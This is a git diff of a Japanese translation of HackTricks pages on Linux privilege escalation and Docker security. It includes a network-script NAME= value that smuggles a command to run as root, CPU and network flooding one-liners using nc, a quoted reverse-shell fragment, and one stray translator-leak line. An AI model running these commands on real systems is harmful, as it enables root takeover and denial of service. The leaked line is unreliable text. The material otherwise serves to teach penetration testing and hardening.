-この脆弱性は[**logrotten**](https://github.com/whotwagner/logrotten)を使用して悪用できます。 +[**logrotten**](https://github.com/whotwagner/logrotten)を使用してこの脆弱性を悪用できます。 -この脆弱性は[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** に非常に類似しており、ログを変更できることがわかった場合は、ログをシンボリックリンクに置き換えて特権を昇格できるかどうかを確認してください。 +この脆弱性は[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginxログ)** に非常に類似していますので、ログを変更できることがわかった場合は、ログをシンボリックリンクに置き換えて特権を昇格できるかどうかを確認してください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1363,9 +1359,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s 何らかの理由で、ユーザーが_**/etc/sysconfig/network-scripts**_に`ifcf-`スクリプトを**書き込む**ことができるか、既存のスクリプトを**調整**できる場合、システムは**乗っ取られています**。 -ネットワークスクリプト、例えば_ifcg-eth0_はネットワーク接続に使用されます。これらは.INIファイルとまったく同じように見えます。ただし、LinuxではNetwork Manager (dispatcher.d)によって\~ソース化\~されます。 +ネットワークスクリプト、例えば_ifcg-eth0_はネットワーク接続に使用されます。これらは.INIファイルとまったく同じように見えますが、LinuxではNetwork Manager (dispatcher.d)によって\~ソース化\~されます。 -私の場合、これらのネットワークスクリプトでの`NAME=`属性が正しく処理されていません。名前に**空白スペースがあると、システムは空白スペースの後にある部分を実行しようとします**。つまり、**最初の空白スペースの後にあるすべてがrootとして実行されます**。 +私の場合、これらのネットワークスクリプトの`NAME=`属性が正しく処理されていません。名前に**空白**があると、システムは**空白の後の部分を実行しようとします**。つまり、**最初の空白の後のすべてがrootとして実行されます**。 例: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1373,17 +1369,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -### **init、init.d、systemd、および rc.d** +### **init、init.d、systemd、およびrc.d** -ディレクトリ `/etc/init.d` には、**System V init (SysVinit)** 用のスクリプトが格納されており、これは**クラシックなLinuxサービス管理システム**です。これには、サービスを `start`、`stop`、`restart`、そして時には `reload` するためのスクリプトが含まれています。これらは直接実行するか、`/etc/rc?.d/` で見つかるシンボリックリンクを介して実行できます。Redhatシステムでは、代替パスとして `/etc/rc.d/init.d` があります。 +ディレクトリ `/etc/init.d` には、**System V init (SysVinit)** 用のスクリプトがあります。これは、**クラシックなLinuxサービス管理システム**です。これには、サービスを `start`、`stop`、`restart`、そして時には `reload` するスクリプトが含まれています。これらは直接実行するか、`/etc/rc?.d/` で見つかるシンボリックリンクを介して実行できます。Redhatシステムでは、代替パスとして `/etc/rc.d/init.d` があります。 -一方、`/etc/init` は**Upstart**に関連しており、これはUbuntuによって導入された新しい**サービス管理**であり、サービス管理タスクのための構成ファイルを使用します。Upstartへの移行にもかかわらず、Upstartに互換性レイヤーがあるため、SysVinitスクリプトは引き続きUpstart構成と共に使用されています。 +一方、`/etc/init` は**Upstart**に関連付けられており、これはUbuntuによって導入された新しい**サービス管理**です。サービス管理タスクのための構成ファイルを使用します。Upstartへの移行にもかかわらず、Upstartに互換性レイヤーがあるため、SysVinitスクリプトはUpstart構成と共に引き続き使用されています。 -**systemd** は、オンデマンドデーモンの起動、自動マウント管理、およびシステム状態のスナップショットなどの高度な機能を提供する現代的な初期化およびサービスマネージャーとして登場しています。配布パッケージのファイルは `/usr/lib/systemd/` に、管理者の変更は `/etc/systemd/system/` に整理され、システム管理プロセスを効率化しています。 +**systemd** は、現代の初期化およびサービスマネージャーとして登場し、オンデマンドデーモンの起動、自動マウント管理、およびシステム状態のスナップショットなどの高度な機能を提供しています。配布パッケージのファイルは `/usr/lib/systemd/` に、管理者の変更は `/etc/systemd/system/` に整理され、システム管理プロセスを効率化しています。 ## その他のトリック -### NFS 特権昇格 +### NFS特権昇格 {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} [nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md) @@ -1410,7 +1406,7 @@ DEVICE=eth0 [Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries) -## Linux/Unix 特権昇格ツール +## Linux/Unix Privescツール ### **Linuxローカル特権昇格ベクターを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) @@ -1419,7 +1415,7 @@ DEVICE=eth0 **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** LinuxおよびMACでカーネルの脆弱性を列挙する [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** カーネルの脆弱性を列挙するLinuxおよびMAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (物理アクセス):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ @@ -1444,17 +1440,3 @@ DEVICE=eth0 * [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) * [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) * [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - -
- -**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでAWSハッキングを学ぶ こちら - -HackTricks をサポートする他の方法: - -* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる -* 独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションである [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見 -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする -* **HackTricks** と **HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する - -
diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 4e5f54a94..e231f6b4a 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,59 +2,59 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## **基本的なDocker Engineセキュリティ** -**Docker Engine**は、Linuxカーネルの**Namespaces**と**Cgroups**を使用してコンテナを分離し、基本的なセキュリティレイヤーを提供します。**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**による追加の保護により、コンテナの分離が強化されます。**authプラグイン**を使用すると、ユーザーのアクションをさらに制限できます。 +**Docker Engine**はLinuxカーネルの**Namespaces**と**Cgroups**を使用してコンテナを分離し、基本的なセキュリティレイヤーを提供します。**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**を介して追加の保護が提供され、コンテナの分離が強化されます。**認証プラグイン**を使用すると、ユーザーのアクションをさらに制限できます。 ![Dockerセキュリティ](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ### Docker Engineへの安全なアクセス -Docker Engineは、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。 +Docker Engineには、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスするかの2つの方法があります。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。 -デフォルトでは、Docker EngineはUnixソケットで`unix:///var/run/docker.sock`でリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケットで公開してください: +デフォルトでは、Docker EngineはUnixソケットで`unix:///var/run/docker.sock`でリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケットで公開してください: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` -ただし、セキュリティ上の懸念から、DockerデーモンをHTTP経由で公開することは推奨されません。接続をHTTPSを使用してセキュアにすることがお勧めされます。接続をセキュアにするための主なアプローチは2つあります: +しかし、DockerデーモンをHTTP経由で公開することはセキュリティ上の懸念から推奨されていません。接続を安全にするためには、HTTPSを使用することがお勧めされます。接続を保護するための主なアプローチは2つあります: -1. クライアントがサーバーの正体を確認する。 -2. クライアントとサーバーがお互いの正体を相互認証する。 +1. クライアントがサーバーの正体を確認します。 +2. クライアントとサーバーの両方がお互いの正体を相互認証します。 証明書はサーバーの正体を確認するために使用されます。両方の方法の詳細な例については、[**このガイド**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)を参照してください。 ### コンテナイメージのセキュリティ -コンテナイメージは、プライベートリポジトリまたはパブリックリポジトリに保存できます。Dockerには、コンテナイメージのためのいくつかのストレージオプションがあります: +コンテナイメージは、プライベートまたはパブリックのリポジトリに保存することができます。Dockerには、コンテナイメージのためのいくつかのストレージオプションがあります: * [**Docker Hub**](https://hub.docker.com): Dockerのパブリックレジストリサービス。 * [**Docker Registry**](https://github.com/docker/distribution): ユーザーが独自のレジストリをホストできるオープンソースプロジェクト。 -* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Dockerの商用レジストリオファリングで、ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を提供しています。 +* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Dockerの商用レジストリオファリングで、ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を特長としています。 ### イメージスキャン -コンテナには、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのせいで**セキュリティの脆弱性**がある場合があります。Dockerは、コンテナのセキュリティスキャンを行い脆弱性をリストアップするプロジェクト**Nautilus**に取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較してセキュリティホールを特定します。 +コンテナには、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのせいで**セキュリティの脆弱性**がある場合があります。Dockerは、コンテナのセキュリティスキャンを行い脆弱性をリストアップするプロジェクト**Nautilus**に取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較してセキュリティホールを特定することで機能します。 詳細については、[**こちらを読んでください**](https://docs.docker.com/engine/scan/)。 @@ -90,26 +90,26 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` ### Dockerイメージの署名 -Dockerイメージの署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は簡潔な説明です: +Dockerイメージの署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は要約した説明です: - **Docker Content Trust** は、Notaryプロジェクトを利用し、The Update Framework (TUF) に基づいてイメージの署名を管理します。詳細については、[Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。 - Dockerコンテンツ信頼を有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Dockerバージョン1.10以降ではデフォルトでオフになっています。 -- この機能を有効にすると、署名されたイメージのみをダウンロードできます。最初のイメージプッシュでは、ルートとタグ付けキーのパスフレーズを設定する必要があり、Dockerはセキュリティを強化するためにYubikeyもサポートしています。詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)にあります。 -- コンテンツ信頼が有効な状態で署名されていないイメージをプルしようとすると、「最新の信頼データがありません」というエラーが発生します。 +- この機能を有効にすると、署名されたイメージのみをダウンロードできます。最初のイメージプッシュでは、ルートとタグ付けキーのパスフレーズを設定する必要があり、Dockerはセキュリティを強化するためにYubikeyもサポートしています。詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。 +- コンテンツ信頼が有効な状態で署名されていないイメージを取得しようとすると、「最新の信頼データがありません」というエラーが発生します。 - 最初以降のイメージプッシュでは、Dockerはイメージに署名するためにリポジトリキーのパスフレーズを要求します。 プライベートキーをバックアップするには、次のコマンドを使用します: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` -Dockerホストを切り替える際には、操作を維持するためにルートとリポジトリキーを移動する必要があります。 +Dockerホストを切り替える際には、運用を維持するためにルートとリポジトリキーを移動する必要があります。 *** -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -127,41 +127,45 @@ Dockerホストを切り替える際には、操作を維持するためにル **ネームスペース** * **目的**: プロセス、ネットワーク、およびファイルシステムなどのリソースの分離を確保します。特にDockerでは、ネームスペースがコンテナのプロセスをホストや他のコンテナから分離します。 -* **`unshare`の使用**: `unshare`コマンド(または基礎となるシスコール)は新しいネームスペースを作成するために使用され、追加の分離レイヤーを提供します。ただし、Kubernetesはこれを元々ブロックしませんが、Dockerはします。 +* **`unshare`の使用**: `unshare`コマンド(または基礎となるシスコール)は、新しいネームスペースを作成するために使用され、追加の分離レイヤーを提供します。ただし、Kubernetesはこれを元々ブロックしませんが、Dockerはします。 * **制限**: 新しいネームスペースを作成することで、プロセスがホストのデフォルトのネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリにアクセスし、`nsenter`を使用する必要があります。 **コントロールグループ(CGroups)** * **機能**: プロセス間でリソースを割り当てるために主に使用されます。 -* **セキュリティ面**: CGroups自体は分離セキュリティを提供しませんが、`release_agent`機能は、誤って構成されている場合、権限のないアクセスに悪用される可能性があります。 +* **セキュリティ面**: CGroups自体は分離セキュリティを提供しませんが、`release_agent`機能は、誤って構成されている場合、不正アクセスに悪用される可能性があります。 **機能の削除** * **重要性**: プロセス分離のための重要なセキュリティ機能です。 -* **機能**: 特定の機能を削除することで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な機能がないため、特権アクションを実行できません。シスコールは権限が不足しているため失敗します。 +* **機能**: 特定の機能をドロップすることにより、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な機能がないため、特権アクションを実行できません。シスコールは権限が不足しているため失敗します。 + +これは、プロセスが他の機能をドロップした後の**残りの機能**です: + +{% code overflow="wrap" %} ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` {% endcode %} -**Seccomp** +### Seccomp -Dockerではデフォルトで有効になっています。これにより、プロセスが呼び出すことができる**システムコールをさらに制限**するのに役立ちます。\ +デフォルトでDockerに有効になっています。プロセスが呼び出すことができる**システムコールをさらに制限**するのに役立ちます。\ **デフォルトのDocker Seccompプロファイル**は[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。 -**AppArmor** +### AppArmor -Dockerには、アクティブ化できるテンプレートがあります:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Dockerにはアクティベートできるテンプレートがあります: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -これにより、機能の制限、システムコール、ファイルやフォルダへのアクセスが制限されます... +これにより、機能の制限、システムコール、ファイルやフォルダへのアクセスが可能になります... ### 名前空間 -**名前空間**はLinuxカーネルの機能で、1つの**プロセス**セットが1つの**リソース**セットを**見る**一方、別の**プロセス**セットが**異なる**リソースセットを**見る**ようにカーネルリソースを**分割**する機能です。この機能は、一連のリソースとプロセスに同じ名前空間があるが、それらの名前空間が異なるリソースを参照するように機能します。リソースは複数のスペースに存在する可能性があります。 +**名前空間**はLinuxカーネルの機能で、1つの**プロセス**セットが1つの**リソース**セットを**見る**一方、別の**プロセス**セットが**異なる**リソースセットを**見る**ようにカーネルリソースを**分割**する機能です。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、それらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する可能性があります。 -Dockerは、コンテナの分離を実現するために以下のLinuxカーネル名前空間を利用しています: +Dockerは、コンテナの分離を実現するために以下のLinuxカーネル名前空間を利用しています: * pid名前空間 * マウント名前空間 @@ -169,7 +173,7 @@ Dockerは、コンテナの分離を実現するために以下のLinuxカーネ * ipc名前空間 * UTS名前空間 -**名前空間に関する詳細情報**については、以下のページを参照してください: +**名前空間に関する詳細情報**は以下のページを参照してください: {% content-ref url="namespaces/" %} [namespaces](namespaces/) @@ -177,8 +181,8 @@ Dockerは、コンテナの分離を実現するために以下のLinuxカーネ ### cgroups -Linuxカーネル機能である**cgroups**は、一連のプロセス間でcpu、メモリ、io、ネットワーク帯域幅などのリソースを**制限**する機能を提供します。 Dockerは、cgroup機能を使用してリソース制御を可能にするコンテナを作成することができます。\ -以下は、ユーザースペースメモリが500mに制限され、カーネルメモリが50mに制限され、CPU共有が512に、blkioweightが400に設定されたコンテナの例です。 CPU共有は、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。 CPUリソースの競合が発生した場合、CPU共有が1024の3つのコンテナがある場合、各コンテナはCPUの33%まで取得できます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。 +Linuxカーネル機能**cgroups**は、一連のプロセス間でcpu、メモリ、io、ネットワーク帯域幅などのリソースを**制限**する機能を提供します。 Dockerは、cgroup機能を使用してリソース制御を可能にするコンテナを作成できます。\ +以下は、ユーザースペースメモリが500mに制限され、カーネルメモリが50mに制限され、CPU共有が512に、blkioweightが400に設定されたコンテナです。 CPU共有は、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024までの範囲です。 CPUリソースの競合が発生した場合、CPU共有が1024の3つのコンテナがある場合、各コンテナはCPUの33%まで取得できます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000までの範囲です。 ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -188,17 +192,19 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -以下は、特権昇格に関する情報です: +以下は、特権昇格に関するハッキング技術の本からのコンテンツです。翻訳を行います。 + +詳細については、以下を参照してください: {% content-ref url="cgroups.md" %} [cgroups.md](cgroups.md) {% endcontent-ref %} -### 機能 +### Capabilities -機能は、rootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で行われる操作を制限します。 +Capabilitiesは、rootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で行われる操作を制限します。 -Dockerコンテナが実行されると、プロセスは隔離から脱出するために使用できる機密機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようにします: +Dockerコンテナが実行されると、プロセスは隔離から脱出するために使用できる機密性の高い機能を削除します。これにより、プロセスが機密性の高いアクションを実行して脱出することができないようにします: {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -214,7 +220,7 @@ Dockerコンテナが実行されると、プロセスは隔離から脱出す ### Docker内のAppArmor -AppArmorは、コンテナを限られたリソースセットに制限するためのカーネルの拡張機能です。: +AppArmorは、コンテナを限られたリソースセットに制限するためのカーネルの拡張機能であり、パーソナルプロファイルを持つコンテナを制限します。 {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) @@ -222,13 +228,13 @@ AppArmorは、コンテナを限られたリソースセットに制限するた ### Docker内のSELinux -* **ラベリングシステム**: SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。 -* **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対して実行できるアクションを定義するセキュリティポリシーを強制します。 -* **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始するとき、通常は`container_t`という制限されたSELinuxラベルが割り当てられます。 -* **コンテナ内のファイルラベリング**: コンテナ内のファイルは通常、`container_file_t`としてラベル付けされます。 -* **ポリシールール**: SELinuxポリシーは、主に`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみ相互作用(読み取り、書き込み、実行)できることを確認します。 +* **ラベリングシステム**:SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。 +* **ポリシーの強制**:プロセスラベルがシステム内の他のラベルに対して実行できるアクションを定義するセキュリティポリシーを強制します。 +* **コンテナプロセスラベル**:コンテナエンジンがコンテナプロセスを開始すると、通常は`container_t`という制限付きSELinuxラベルが割り当てられます。 +* **コンテナ内のファイルラベリング**:コンテナ内のファイルは通常、`container_file_t`としてラベル付けされます。 +* **ポリシールール**:SELinuxポリシーは、`container_t`ラベルを持つプロセスが通常、`container_file_t`とラベル付けされたファイルとのみ対話できるようにします。 -このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとの相互作用に制限され、そのような侵害からの潜在的な被害が大幅に制限されます。 +このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとのみ対話できるようになり、そのような侵害からの潜在的な被害を著しく制限します。 {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) @@ -236,10 +242,10 @@ AppArmorは、コンテナを限られたリソースセットに制限するた ### AuthZ&AuthN -Dockerでは、認可プラグインが重要な役割を果たし、Dockerデーモンへのリクエストを許可するかブロックするかを決定します。この決定は、次の2つのキーとなるコンテキストを調査することによって行われます: +Dockerでは、認可プラグインが重要な役割を果たし、Dockerデーモンへのリクエストを許可するかブロックするかを決定します。この決定は、次の2つのキーとなるコンテキストを調査することで行われます: -* **認証コンテキスト**: これには、ユーザーに関する包括的な情報が含まれます。たとえば、ユーザーが誰であり、どのように認証されたかなどです。 -* **コマンドコンテキスト**: これには、リクエストに関連するすべての関連データが含まれます。 +* **認証コンテキスト**:これには、ユーザーに関する包括的な情報が含まれます。たとえば、ユーザーが誰であり、どのように認証されたかなどです。 +* **コマンドコンテキスト**:これには、行われているリクエストに関連するすべての関連データが含まれます。 これらのコンテキストにより、認証されたユーザーからの正当なリクエストのみが処理され、Docker操作のセキュリティが向上します。 @@ -263,7 +269,7 @@ docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` -## インタレスティングなDockerフラグ +## インタレスティングな Docker フラグ ### --privileged フラグ @@ -277,7 +283,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; #### no-new-privileges -低権限ユーザーとしてアクセスを取得した攻撃者がコンテナを実行している場合、**誤構成されたsuidバイナリ**があると、攻撃者はそれを悪用してコンテナ内で**特権を昇格**させる可能性があります。これにより、コンテナから脱出することができるかもしれません。 +低い特権ユーザーとしてアクセスを取得した攻撃者がコンテナを実行している場合、**誤って構成された suid バイナリ** があると、攻撃者はそれを悪用してコンテナ内で**特権を昇格**させる可能性があります。これにより、コンテナから脱出することができるかもしれません。 **`no-new-privileges`** オプションを有効にしてコンテナを実行すると、**この種の特権昇格を防ぐ**ことができます。 ``` @@ -304,23 +310,23 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv ### シークレットの管理:ベストプラクティス -Dockerイメージにシークレットを直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`などのコマンドを使用してコンテナにアクセスできる人に機密情報を公開してしまいます。 +Dockerイメージにシークレットを直接埋め込んだり環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`などのコマンドを介してコンテナにアクセス権を持つ者に機密情報を公開してしまいます。 -**Dockerボリューム**は、機密情報にアクセスするために推奨されるより安全な代替手段です。これらは一時的なメモリ内のファイルシステムとして利用でき、`docker inspect`やログ記録に関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセス権を持つユーザーは依然としてシークレットにアクセスできる可能性があります。 +**Dockerボリューム**は、機密情報にアクセスするために推奨されるより安全な代替手段です。これらは一時的なメモリ内ファイルシステムとして利用でき、`docker inspect`やログ記録に関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセス権を持つユーザーは依然としてシークレットにアクセスできる可能性があります。 -**Dockerシークレット**は、機密情報を取り扱うためのさらに安全な方法を提供します。イメージのビルドフェーズ中にシークレットが必要な場合、**BuildKit**はビルド時間のシークレットをサポートする効率的なソリューションを提供し、ビルド速度を向上させ、追加の機能を提供します。 +**Dockerシークレット**は、機密情報を取り扱うためのさらに安全な方法を提供します。イメージのビルドフェーズ中にシークレットが必要な場合、**BuildKit**はビルド時間シークレットをサポートする効率的なソリューションを提供し、ビルド速度を向上させ追加機能を提供します。 BuildKitを活用するためには、次の3つの方法でアクティブ化できます: 1. 環境変数を介して:`export DOCKER_BUILDKIT=1` 2. コマンドにプレフィックスを付けて:`DOCKER_BUILDKIT=1 docker build .` -3. Docker構成でデフォルトで有効にする:`{ "features": { "buildkit": true } }`を設定し、その後Dockerを再起動します。 +3. Docker構成でデフォルトで有効にする:`{ "features": { "buildkit": true } }` と設定し、その後Dockerを再起動します。 -BuildKitを使用すると、`--secret`オプションを使用してビルド時間のシークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。 +BuildKitを使用すると、`--secret`オプションを使用してビルド時間シークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。 ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -実行中のコンテナで必要なシークレットについては、**Docker ComposeとKubernetes**が堅牢なソリューションを提供しています。Docker Composeは、`docker-compose.yml`の例に示すように、サービス定義でシークレットファイルを指定するための`secrets`キーを利用します。 +実行中のコンテナで必要なシークレットについては、**Docker 